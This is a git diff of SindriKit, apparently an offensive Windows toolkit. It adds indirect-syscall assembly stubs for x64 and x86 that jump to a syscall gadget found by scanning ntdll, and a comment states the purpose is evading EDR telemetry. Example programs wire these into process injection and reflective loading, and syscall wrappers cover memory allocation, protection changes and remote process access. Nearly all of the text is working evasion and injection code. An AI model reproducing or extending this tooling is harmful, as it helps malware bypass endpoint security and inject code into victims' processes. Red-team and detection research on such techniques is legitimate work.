NT layout definitions (`SND_PEB`, `SND_LDR_DATA_TABLE_ENTRY`, etc.) live in `include/sindri/internal/nt/peb.h`. Env parsers consume these layouts; they do not duplicate Windows SDK headers to avoid pulling in monitored imports. NT layout definitions (`SND_PEB`, `SND_LDR_DATA_TABLE_ENTRY`, etc.) live in `include/sindri/internal/nt/peb.h`. Env parsers consume these layouts; they do not duplicate Windows SDK headers to avoid pulling in monitored imports.
@@ -50,7 +50,7 @@ Loaded modules are tracked in three linked lists inside `SND_PEB_LDR_DATA`:
``` ```
InLoadOrderModuleList InLoadOrderModuleList
InMemoryOrderModuleList used by SindriKit InMemoryOrderModuleList <- used by SindriKit
InInitializationOrderModuleList InInitializationOrderModuleList
``` ```
+27 -3
View File
@@ -11,6 +11,10 @@ SND_BEGIN_EXTERN_C
#define SND_MAX_SYSCALLS 500 #define SND_MAX_SYSCALLS 500
#define SND_MAX_SYS_NAME_LEN 256 #define SND_MAX_SYS_NAME_LEN 256
#ifndef SND_USE_DEFAULTS
#define SND_USE_DEFAULTS 0
#endif
/** /**
* @brief Syscall entry structure holding the address, hash, and syscall number. * @brief Syscall entry structure holding the address, hash, and syscall number.
*/ */
@@ -18,6 +22,7 @@ typedef struct {
PVOID pAddress; PVOID pAddress;
DWORD dwHash; DWORD dwHash;
WORD wSystemCall; WORD wSystemCall;
PVOID pSyscallAddr;
} snd_syscall_entry_t; } snd_syscall_entry_t;
/** /**
@@ -36,6 +41,9 @@ typedef struct {
PVOID arg9; PVOID arg9;
PVOID arg10; PVOID arg10;
PVOID arg11; PVOID arg11;
// Placed at the end to prevent altering the memory offsets of args 1-11
// inside the existing Direct ASM stub (invoke_x64.asm).
PVOID sys_addr;
} snd_syscall_args_t; } snd_syscall_args_t;
/** /**
@@ -43,22 +51,37 @@ typedef struct {
* Any custom or future gate can be plugged into the engine if it matches this. * Any custom or future gate can be plugged into the engine if it matches this.
*/ */
typedef snd_status_t (*snd_syscall_resolver_t)(PVOID ntdll_base, DWORD func_hash, snd_syscall_entry_t *entry_out); typedef snd_status_t (*snd_syscall_resolver_t)(PVOID ntdll_base, DWORD func_hash, snd_syscall_entry_t *entry_out);
typedef NTSTATUS (*snd_syscall_invoker_t)(snd_syscall_args_t *args);
typedef snd_status_t (*snd_syscall_gadget_finder_t)(snd_syscall_entry_t *entry);
snd_status_t snd_syscall_resolve_ssn_scan(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out); snd_status_t snd_syscall_resolve_ssn_scan(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out);
snd_status_t snd_syscall_resolve_ssn_sort(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out); snd_status_t snd_syscall_resolve_ssn_sort(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out);
snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry);
#if SND_USE_DEFAULTS
#define SND_SYSCALL_INVOKER_DEFAULT snd_syscall_indirect_invoke_asm
#define SND_SYSCALL_GADGET_FINDER_DEFAULT snd_syscall_find_gadget_scan
#define SND_SYSCALL_RESOLVER_DEFAULT snd_syscall_resolve_ssn_scan
#else
#define SND_SYSCALL_INVOKER_DEFAULT NULL
#define SND_SYSCALL_GADGET_FINDER_DEFAULT NULL
#define SND_SYSCALL_RESOLVER_DEFAULT NULL
#endif
/** /**
* @brief Sets the primary syscall resolution strategy using a function pointer. * @brief Sets the primary syscall resolution strategy using a function pointer.
* @param resolver The resolver function to use as the primary strategy. * @param resolver The resolver function to use as the primary strategy.
*/ */
void snd_syscall_strategy_set(snd_syscall_resolver_t resolver); void snd_syscall_set_resolver(snd_syscall_resolver_t resolver);
/** /**
* @brief Adds a fallback syscall resolution strategy to the pipeline. * @brief Adds a fallback syscall resolution strategy to the pipeline.
* @param resolver The fallback resolver function to add. * @param resolver The fallback resolver function to add.
* @return SND_OK on success, or an error if the pipeline is full. * @return SND_OK on success, or an error if the pipeline is full.
*/ */
snd_status_t snd_syscall_strategy_add(snd_syscall_resolver_t resolver); snd_status_t snd_syscall_add_resolver(snd_syscall_resolver_t resolver);
void snd_syscall_set_invoker(snd_syscall_invoker_t invoker);
void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder);
/** /**
* @brief Sets the global base address of the ntdll.dll module. * @brief Sets the global base address of the ntdll.dll module.
@@ -81,7 +104,8 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out
* @param args Pointer to the syscall arguments structure. * @param args Pointer to the syscall arguments structure.
* @return The NTSTATUS returned by the syscall. * @return The NTSTATUS returned by the syscall.
*/ */
extern NTSTATUS snd_syscall_invoke_asm(snd_syscall_args_t *args); extern NTSTATUS snd_syscall_direct_invoke_asm(snd_syscall_args_t *args);
extern NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t *args);
SND_END_EXTERN_C SND_END_EXTERN_C
+4 -2
View File
@@ -72,10 +72,12 @@ int main(int argc, char *argv[]) {
goto cleanup; goto cleanup;
} }
snd_syscall_set_ntdll(ntdll); snd_syscall_set_ntdll(ntdll);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
/* Configure the cascading syscall resolution strategy. */ /* Configure the cascading syscall resolution strategy. */
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
// Configure Loader: Use syscalls for memory, Native API for module resolution // Configure Loader: Use syscalls for memory, Native API for module resolution
ldr_ctx.mem_api = &snd_mem_sys; ldr_ctx.mem_api = &snd_mem_sys;
+3 -2
View File
@@ -80,8 +80,9 @@ int main(int argc, char *argv[]) {
snd_syscall_set_ntdll(ntdll); snd_syscall_set_ntdll(ntdll);
/* Configure the cascading syscall resolution strategy. */ /* Configure the cascading syscall resolution strategy. */
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
inj_ctx.target_pid = target_pid; inj_ctx.target_pid = target_pid;
inj_ctx.payload = &inject_buf; inj_ctx.payload = &inject_buf;
+3 -3
View File
@@ -1,5 +1,3 @@
#include "sindri/primitives/memory.h"
#include <sindri.h> #include <sindri.h>
int main() { int main() {
@@ -19,7 +17,9 @@ int main() {
snd_syscall_set_ntdll(ntdll); snd_syscall_set_ntdll(ntdll);
/* Configure the cascading syscall resolution strategy. */ /* Configure the cascading syscall resolution strategy. */
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
ctx.mem_api = &snd_mem_win; ctx.mem_api = &snd_mem_win;
ctx.mod_api = &snd_mod_nt; ctx.mod_api = &snd_mod_nt;
+9 -6
View File
@@ -1,4 +1,5 @@
#include <sindri.h> #include <sindri.h>
#include <sindri/primitives/syscalls.h>
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
#include <string.h> #include <string.h>
@@ -113,7 +114,7 @@ int main(int argc, char *argv[]) {
// First Method: Disk Loading // First Method: Disk Loading
snd_buffer_t ntdll_buf = {0}; snd_buffer_t ntdll_buf = {0};
snd_ldr_pe_ctx_t ntdll_ctx = {0}; snd_ldr_pe_ctx_t ntdll_ctx = {0};
status = snd_disk_buffer_load("C:\\Windows\\System32\\ntdll.dll", &ntdll_buf); status = snd_disk_buffer_load("C:\\Windows\\System32\\ntdll.dll", &ntdll_buf);
@@ -121,8 +122,8 @@ int main(int argc, char *argv[]) {
goto cleanup; goto cleanup;
} }
ntdll_ctx.mem_api = &snd_mem_win; ntdll_ctx.mem_api = &snd_mem_win;
ntdll_ctx.mod_api = &snd_mod_nt; ntdll_ctx.mod_api = &snd_mod_win;
ntdll_ctx.raw_source = &ntdll_buf; ntdll_ctx.raw_source = &ntdll_buf;
status = snd_pe_parse(ntdll_ctx.raw_source, FALSE, &ntdll_ctx.pe); status = snd_pe_parse(ntdll_ctx.raw_source, FALSE, &ntdll_ctx.pe);
@@ -157,9 +158,11 @@ int main(int argc, char *argv[]) {
snd_syscall_set_ntdll(ntdll); snd_syscall_set_ntdll(ntdll);
/* Configure the cascading syscall resolution strategy. */ snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
ctx.mem_api = &snd_mem_sys; ctx.mem_api = &snd_mem_sys;
ctx.mod_api = &snd_mod_nt; ctx.mod_api = &snd_mod_nt;
+1 -2
View File
@@ -1,8 +1,7 @@
#include "sindri/loaders/reflective/engine.h"
#include <sindri/common/debug.h> #include <sindri/common/debug.h>
#include <sindri/common/status.h> #include <sindri/common/status.h>
#include <sindri/loaders/reflective/chain.h> #include <sindri/loaders/reflective/chain.h>
#include <sindri/loaders/reflective/engine.h>
#include <windows.h> #include <windows.h>
typedef BOOL(WINAPI *snd_dll_entry_proc_t)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved); typedef BOOL(WINAPI *snd_dll_entry_proc_t)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
@@ -1,9 +1,9 @@
; =========================================================================== ; ===========================================================================
; invoke_x64.asm - SindriKit Syscall Invocation ASM Stub (x64 / MASM) ; invoke_direct_x64.asm - SindriKit Syscall Invocation ASM Stub (x64 / MASM)
; =========================================================================== ; ===========================================================================
; ;
; Exports: ; Exports:
; snd_syscall_invoke_asm ; snd_syscall_direct_invoke_asm
; ;
; Invokes a syscall with up to 10 arguments safely, setting up the ; Invokes a syscall with up to 10 arguments safely, setting up the
; required stack and register states for the x64 calling convention. ; required stack and register states for the x64 calling convention.
@@ -11,10 +11,10 @@
.code .code
PUBLIC snd_syscall_invoke_asm PUBLIC snd_syscall_direct_invoke_asm
; snd_syscall_invoke_asm(SND_SYSCALL_ARGS* args) ; snd_syscall_direct_invoke_asm(SND_SYSCALL_ARGS* args)
snd_syscall_invoke_asm PROC snd_syscall_direct_invoke_asm PROC
; Allocate 96 bytes on stack to safely store args 5-11 ; Allocate 96 bytes on stack to safely store args 5-11
; (32 bytes shadow space + 56 bytes for 7 args + 8 bytes padding for 16-byte alignment) ; (32 bytes shadow space + 56 bytes for 7 args + 8 bytes padding for 16-byte alignment)
sub rsp, 96 sub rsp, 96
@@ -48,6 +48,6 @@ snd_syscall_invoke_asm PROC
; Restore stack and return ; Restore stack and return
add rsp, 96 add rsp, 96
ret ret
snd_syscall_invoke_asm ENDP snd_syscall_direct_invoke_asm ENDP
end end
@@ -1,9 +1,9 @@
; =========================================================================== ; ===========================================================================
; invoke_x86.asm - SindriKit Syscall Invocation ASM Stub (x86 / MASM) ; invoke_direct_x86.asm - SindriKit Syscall Invocation ASM Stub (x86 / MASM)
; =========================================================================== ; ===========================================================================
; ;
; Exports: ; Exports:
; snd_syscall_invoke_asm ; snd_syscall_direct_invoke_asm
; ;
; Invokes a syscall with up to 11 arguments safely. Handles both native x86 ; Invokes a syscall with up to 11 arguments safely. Handles both native x86
; via int 0x2E and WOW64 execution environments. ; via int 0x2E and WOW64 execution environments.
@@ -14,9 +14,9 @@
.code .code
PUBLIC snd_syscall_invoke_asm PUBLIC snd_syscall_direct_invoke_asm
snd_syscall_invoke_asm PROC snd_syscall_direct_invoke_asm PROC
; Setup standard frame ; Setup standard frame
push ebp push ebp
mov ebp, esp mov ebp, esp
@@ -65,6 +65,6 @@ cleanup:
pop ebp pop ebp
ret ret
snd_syscall_invoke_asm ENDP snd_syscall_direct_invoke_asm ENDP
end end
@@ -0,0 +1,69 @@
; ===========================================================================
; invoke_indirect_x64.asm - SindriKit Indirect Syscall Invocation ASM Stub
; ===========================================================================
;
; Exports:
; snd_syscall_indirect_invoke_asm
;
; Invokes a syscall indirectly by jumping to a legitimate `syscall` gadget
; within ntdll.dll to evade EDR telemetry checking the RIP of the syscall.
; ===========================================================================
.code
PUBLIC snd_syscall_indirect_invoke_asm
; snd_syscall_indirect_invoke_asm(SND_SYSCALL_ARGS* args)
snd_syscall_indirect_invoke_asm PROC
push rbp
mov rbp, rsp
sub rsp, 88
; RCX points to SND_SYSCALL_ARGS struct
; Extract the gadget address (sys_addr) which is at the very end of the struct
; Offset is 96 (WORD ssn (2) + padding (6) + 11*PVOID (88))
mov r11, [rcx+96]
test r11, r11
jnz GadgetValid
mov eax, 0C000000Dh
jmp Cleanup
GadgetValid:
; Setup stack arguments (args 5-11) safely in a new frame
mov rax, [rcx+40] ; arg5
mov [rsp+32], rax
mov rax, [rcx+48] ; arg6
mov [rsp+40], rax
mov rax, [rcx+56] ; arg7
mov [rsp+48], rax
mov rax, [rcx+64] ; arg8
mov [rsp+56], rax
mov rax, [rcx+72] ; arg9
mov [rsp+64], rax
mov rax, [rcx+80] ; arg10
mov [rsp+72], rax
mov rax, [rcx+88] ; arg11
mov [rsp+80], rax
; Extract SSN and arguments 1-4
movzx eax, word ptr [rcx] ; ssn is a WORD
mov r10, [rcx+8] ; arg1 (must go to r10 for syscall)
mov rdx, [rcx+16] ; arg2
mov r8, [rcx+24] ; arg3
mov r9, [rcx+32] ; arg4
lea r12, Cleanup
push r12
; Jump to the NTDLL syscall gadget
jmp r11
Cleanup:
mov rsp, rbp
pop rbp
ret
snd_syscall_indirect_invoke_asm ENDP
end
@@ -0,0 +1,71 @@
; ===========================================================================
; invoke_indirect_x86.asm - SindriKit Indirect Syscall Invocation ASM Stub
; ===========================================================================
;
; Exports:
; snd_syscall_indirect_invoke_asm
;
; Invokes a syscall indirectly by jumping into the middle of the NTDLL stub.
; ===========================================================================
.686
.model flat, c
.code
PUBLIC snd_syscall_indirect_invoke_asm
; NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t* args)
snd_syscall_indirect_invoke_asm PROC
push ebp
mov ebp, esp
; Save non-volatile registers
push edi
push esi
push ebx
mov eax, [ebp+8]
mov ecx, [eax+48]
test ecx, ecx
jnz GadgetValid
mov eax, 0C000000Dh
jmp Cleanup
GadgetValid:
; Push 11 arguments
push [eax+44] ; arg11
push [eax+40] ; arg10
push [eax+36] ; arg9
push [eax+32] ; arg8
push [eax+28] ; arg7
push [eax+24] ; arg6
push [eax+20] ; arg5
push [eax+16] ; arg4
push [eax+12] ; arg3
push [eax+8] ; arg2
push [eax+4] ; arg1
; Extract SSN into EAX for the syscall
movzx eax, word ptr [eax]
lea edx, SyscallCleanup
push edx
jmp ecx
SyscallCleanup:
lea esp, [ebp - 12]
Cleanup:
; Restore non-volatile registers
pop ebx
pop esi
pop edi
pop ebp
ret
snd_syscall_indirect_invoke_asm ENDP
end
@@ -0,0 +1,68 @@
#include <sindri/common/macros.h>
#include <sindri/common/status.h>
#include <sindri/parsers/env/peb.h>
#include <sindri/parsers/pe/exports.h>
#include <sindri/parsers/pe/parser.h>
#include <sindri/primitives/syscalls.h>
#include <sindri_hashes.h>
#include <windows.h>
snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry) {
if (entry == NULL || entry->dwHash == 0) {
return SND_ERR(SND_STATUS_NULL_POINTER);
}
// 1. Get the natively loaded NTDLL from our own PEB
PVOID local_ntdll = NULL;
snd_status_t status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &local_ntdll);
if (SND_FAILED(status) || !local_ntdll) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
// 2. Resolve the real, executable address of the API using its hash
FARPROC exec_addr = NULL;
status = snd_pe_get_export_address_hash(local_ntdll, SND_SYS_DLL_SIZE_DEFAULT, entry->dwHash, &exec_addr, NULL);
if (SND_FAILED(status) || !exec_addr) {
return SND_ERR(SND_STATUS_SSN_NOT_FOUND);
}
#if defined(_WIN64)
BYTE *ptr = (BYTE *)exec_addr;
// Scan forward a maximum of 32 bytes from the API entry point
// looking for the `syscall` (0x0F 0x05) followed by `ret` (0xC3) signature.
for (int i = 0; i < 32; i++) {
if (ptr[i] == 0x0F && ptr[i + 1] == 0x05 && ptr[i + 2] == 0xC3) {
entry->pSyscallAddr = (PVOID)&ptr[i];
return SND_OK;
}
}
return SND_ERR(SND_STATUS_SSN_NOT_FOUND); // Gadget not found within bounds
#elif defined(_WIN32)
BYTE *ptr = (BYTE *)exec_addr;
// We scan for the start of the `call dword ptr fs:[0xC0]` or `sysenter` block
// Actually, on x86, the best gadget is the entire NTDLL stub starting at the `mov edx, esp`
// or just after the `mov eax, SSN`.
// The typical NTDLL stub on x86 looks like:
// mov eax, <SSN>
// mov edx, <wow64_transition> or mov edx, esp
// call dword ptr fs:[0xC0] or sysenter or call edx
// ret XX
//
// The easiest and safest way to do indirect syscall on x86 is to jump to `exec_addr + 5`.
// `exec_addr` points to `mov eax, <SSN>` which is exactly 5 bytes (B8 XX XX 00 00).
// The instructions after that handle the transition safely for the specific OS version.
// We check if it starts with `mov eax` (0xB8)
if (ptr[0] == 0xB8) {
entry->pSyscallAddr = (PVOID)&ptr[5];
return SND_OK;
}
return SND_ERR(SND_STATUS_SSN_NOT_FOUND);
#else
return SND_ERR(SND_STATUS_ARCH_MISMATCH);
#endif
}
+29 -8
View File
@@ -1,29 +1,47 @@
#include <sindri/common/status.h> #include <sindri/common/status.h>
#include <sindri/parsers/env/peb.h>
#include <sindri/primitives/syscalls.h> #include <sindri/primitives/syscalls.h>
#include <windows.h> #include <windows.h>
#define SND_MAX_INTERNAL_STRATEGIES 4 #define SND_MAX_INTERNAL_STRATEGIES 4
static snd_syscall_resolver_t g_strategy_chain[SND_MAX_INTERNAL_STRATEGIES] = {0}; static PVOID g_syscall_ntdll_target = NULL;
static int g_strategy_count = 0;
static PVOID g_syscall_ntdll_target = NULL; static snd_syscall_resolver_t g_strategy_chain[SND_MAX_INTERNAL_STRATEGIES] = {SND_SYSCALL_RESOLVER_DEFAULT};
#if SND_USE_DEFAULTS
static int g_strategy_count = 1;
#else
static int g_strategy_count = 0;
#endif
snd_syscall_invoker_t g_syscall_invoker = SND_SYSCALL_INVOKER_DEFAULT;
snd_syscall_gadget_finder_t g_syscall_gadget_finder = SND_SYSCALL_GADGET_FINDER_DEFAULT;
void snd_syscall_set_ntdll(PVOID ntdll_base) { void snd_syscall_set_ntdll(PVOID ntdll_base) {
if (ntdll_base == NULL) { if (!ntdll_base)
return; return;
}
g_syscall_ntdll_target = ntdll_base; g_syscall_ntdll_target = ntdll_base;
} }
void snd_syscall_strategy_set(snd_syscall_resolver_t resolver) { void snd_syscall_set_invoker(snd_syscall_invoker_t invoker) {
if (!invoker)
return;
g_syscall_invoker = invoker;
}
void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder) {
if (!finder)
return;
g_syscall_gadget_finder = finder;
}
void snd_syscall_set_resolver(snd_syscall_resolver_t resolver) {
if (!resolver) if (!resolver)
return; return;
g_strategy_chain[0] = resolver; g_strategy_chain[0] = resolver;
g_strategy_count = 1; g_strategy_count = 1;
} }
snd_status_t snd_syscall_strategy_add(snd_syscall_resolver_t resolver) { snd_status_t snd_syscall_add_resolver(snd_syscall_resolver_t resolver) {
if (!resolver) { if (!resolver) {
return SND_ERR(SND_STATUS_NULL_POINTER); return SND_ERR(SND_STATUS_NULL_POINTER);
} }
@@ -54,6 +72,9 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out
snd_status_t status = g_strategy_chain[i](g_syscall_ntdll_target, func_hash, entry_out); snd_status_t status = g_strategy_chain[i](g_syscall_ntdll_target, func_hash, entry_out);
if (SND_SUCCEEDED(status)) { if (SND_SUCCEEDED(status)) {
if (g_syscall_gadget_finder != NULL) {
status = g_syscall_gadget_finder(entry_out);
}
return status; return status;
} }
} }
+17 -3
View File
@@ -5,6 +5,8 @@
#include <sindri_hashes.h> #include <sindri_hashes.h>
#include <windows.h> #include <windows.h>
extern snd_syscall_invoker_t g_syscall_invoker;
static snd_status_t WINAPI sys_mapping_open(const wchar_t *section_name, HANDLE *out_handle) { static snd_status_t WINAPI sys_mapping_open(const wchar_t *section_name, HANDLE *out_handle) {
if (!out_handle || !section_name) if (!out_handle || !section_name)
return SND_ERR(SND_STATUS_NULL_POINTER); return SND_ERR(SND_STATUS_NULL_POINTER);
@@ -22,11 +24,15 @@ static snd_status_t WINAPI sys_mapping_open(const wchar_t *section_name, HANDLE
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = out_handle; args.arg1 = out_handle;
args.arg2 = (PVOID)(ULONG_PTR)SECTION_MAP_READ; args.arg2 = (PVOID)(ULONG_PTR)SECTION_MAP_READ;
args.arg3 = &obj_attr; args.arg3 = &obj_attr;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args); if (g_syscall_invoker == NULL) {
return SND_ERR_CTX(SND_STATUS_NOT_INITIALIZED, "g_syscall_invoker is NULL");
}
NTSTATUS nt_status = g_syscall_invoker(&args);
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_SECTION_OPEN_FAILED, nt_status); return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_SECTION_OPEN_FAILED, nt_status);
} }
@@ -45,6 +51,7 @@ static snd_status_t WINAPI sys_mapping_view(HANDLE section_handle, PVOID *out_ba
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = section_handle; args.arg1 = section_handle;
args.arg2 = GetCurrentProcess(); args.arg2 = GetCurrentProcess();
args.arg3 = &base_address; args.arg3 = &base_address;
@@ -56,7 +63,10 @@ static snd_status_t WINAPI sys_mapping_view(HANDLE section_handle, PVOID *out_ba
args.arg9 = (PVOID)0; args.arg9 = (PVOID)0;
args.arg10 = (PVOID)(ULONG_PTR)PAGE_READONLY; args.arg10 = (PVOID)(ULONG_PTR)PAGE_READONLY;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args); if (g_syscall_invoker == NULL) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
NTSTATUS nt_status = g_syscall_invoker(&args);
if (!SND_NT_SUCCESS(nt_status)) { if (!SND_NT_SUCCESS(nt_status)) {
return SND_ERR_NT(SND_STATUS_SECTION_MAP_FAILED, nt_status); return SND_ERR_NT(SND_STATUS_SECTION_MAP_FAILED, nt_status);
} }
@@ -77,9 +87,13 @@ static snd_status_t WINAPI sys_mapping_close(HANDLE handle) {
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = handle; args.arg1 = handle;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args); if (g_syscall_invoker == NULL) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
NTSTATUS nt_status = g_syscall_invoker(&args);
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_HANDLE_CLOSE_FAILED, nt_status); return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_HANDLE_CLOSE_FAILED, nt_status);
} }
+17 -3
View File
@@ -7,6 +7,8 @@
#include <sindri_hashes.h> #include <sindri_hashes.h>
#include <windows.h> #include <windows.h>
extern snd_syscall_invoker_t g_syscall_invoker;
static snd_status_t WINAPI sys_alloc(LPVOID address, SIZE_T size, DWORD allocation_type, DWORD protect, static snd_status_t WINAPI sys_alloc(LPVOID address, SIZE_T size, DWORD allocation_type, DWORD protect,
LPVOID *out_address) { LPVOID *out_address) {
if (!out_address) if (!out_address)
@@ -23,6 +25,7 @@ static snd_status_t WINAPI sys_alloc(LPVOID address, SIZE_T size, DWORD allocati
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = processHandle; args.arg1 = processHandle;
args.arg2 = &baseAddress; args.arg2 = &baseAddress;
args.arg3 = 0; args.arg3 = 0;
@@ -30,7 +33,10 @@ static snd_status_t WINAPI sys_alloc(LPVOID address, SIZE_T size, DWORD allocati
args.arg5 = (PVOID)(ULONG_PTR)allocation_type; args.arg5 = (PVOID)(ULONG_PTR)allocation_type;
args.arg6 = (PVOID)(ULONG_PTR)protect; args.arg6 = (PVOID)(ULONG_PTR)protect;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args); if (g_syscall_invoker == NULL) {
return SND_ERR_CTX(SND_STATUS_NOT_INITIALIZED, "g_syscall_invoker is NULL");
}
NTSTATUS nt_status = g_syscall_invoker(&args);
if (SND_NT_SUCCESS(nt_status)) { if (SND_NT_SUCCESS(nt_status)) {
*out_address = baseAddress; *out_address = baseAddress;
return SND_OK; return SND_OK;
@@ -54,12 +60,16 @@ static snd_status_t WINAPI sys_free(LPVOID address, SIZE_T size, DWORD free_type
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = processHandle; args.arg1 = processHandle;
args.arg2 = &baseAddress; args.arg2 = &baseAddress;
args.arg3 = &regionSize; args.arg3 = &regionSize;
args.arg4 = (PVOID)(ULONG_PTR)free_type; args.arg4 = (PVOID)(ULONG_PTR)free_type;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args); if (g_syscall_invoker == NULL) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
NTSTATUS nt_status = g_syscall_invoker(&args);
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_VIRTUAL_FREE_FAILED, nt_status); return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_VIRTUAL_FREE_FAILED, nt_status);
} }
@@ -76,13 +86,17 @@ static snd_status_t WINAPI sys_protect(LPVOID address, SIZE_T size, DWORD new_pr
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = processHandle; args.arg1 = processHandle;
args.arg2 = &baseAddress; args.arg2 = &baseAddress;
args.arg3 = &regionSize; args.arg3 = &regionSize;
args.arg4 = (PVOID)(ULONG_PTR)new_protect; args.arg4 = (PVOID)(ULONG_PTR)new_protect;
args.arg5 = &oldProtect; args.arg5 = &oldProtect;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args); if (g_syscall_invoker == NULL) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
NTSTATUS nt_status = g_syscall_invoker(&args);
if (SND_NT_SUCCESS(nt_status)) { if (SND_NT_SUCCESS(nt_status)) {
if (old_protect) { if (old_protect) {
+33 -8
View File
@@ -1,11 +1,12 @@
#include "sindri/common/status.h" #include <sindri/common/status.h>
#include <sindri/internal/nt/types.h> #include <sindri/internal/nt/types.h>
#include <sindri/primitives/process.h> #include <sindri/primitives/process.h>
#include <sindri/primitives/syscalls.h> #include <sindri/primitives/syscalls.h>
#include <sindri_hashes.h> #include <sindri_hashes.h>
#include <windows.h> #include <windows.h>
extern snd_syscall_invoker_t g_syscall_invoker;
static snd_status_t WINAPI sys_open_process(DWORD pid, DWORD desired_access, HANDLE *out_process) { static snd_status_t WINAPI sys_open_process(DWORD pid, DWORD desired_access, HANDLE *out_process) {
if (!out_process) if (!out_process)
return SND_ERR(SND_STATUS_NULL_POINTER); return SND_ERR(SND_STATUS_NULL_POINTER);
@@ -25,12 +26,16 @@ static snd_status_t WINAPI sys_open_process(DWORD pid, DWORD desired_access, HAN
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = out_process; args.arg1 = out_process;
args.arg2 = (PVOID)(ULONG_PTR)desired_access; args.arg2 = (PVOID)(ULONG_PTR)desired_access;
args.arg3 = &oa; args.arg3 = &oa;
args.arg4 = (PVOID)&cid; args.arg4 = (PVOID)&cid;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args); if (g_syscall_invoker == NULL) {
return SND_ERR_CTX(SND_STATUS_NOT_INITIALIZED, "g_syscall_invoker is NULL");
}
NTSTATUS nt_status = g_syscall_invoker(&args);
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_PROCESS_OPEN_FAILED, nt_status); return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_PROCESS_OPEN_FAILED, nt_status);
} }
@@ -50,6 +55,7 @@ static snd_status_t WINAPI sys_alloc_remote(HANDLE process, SIZE_T size, DWORD a
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = process; args.arg1 = process;
args.arg2 = &local_base; args.arg2 = &local_base;
args.arg3 = 0; args.arg3 = 0;
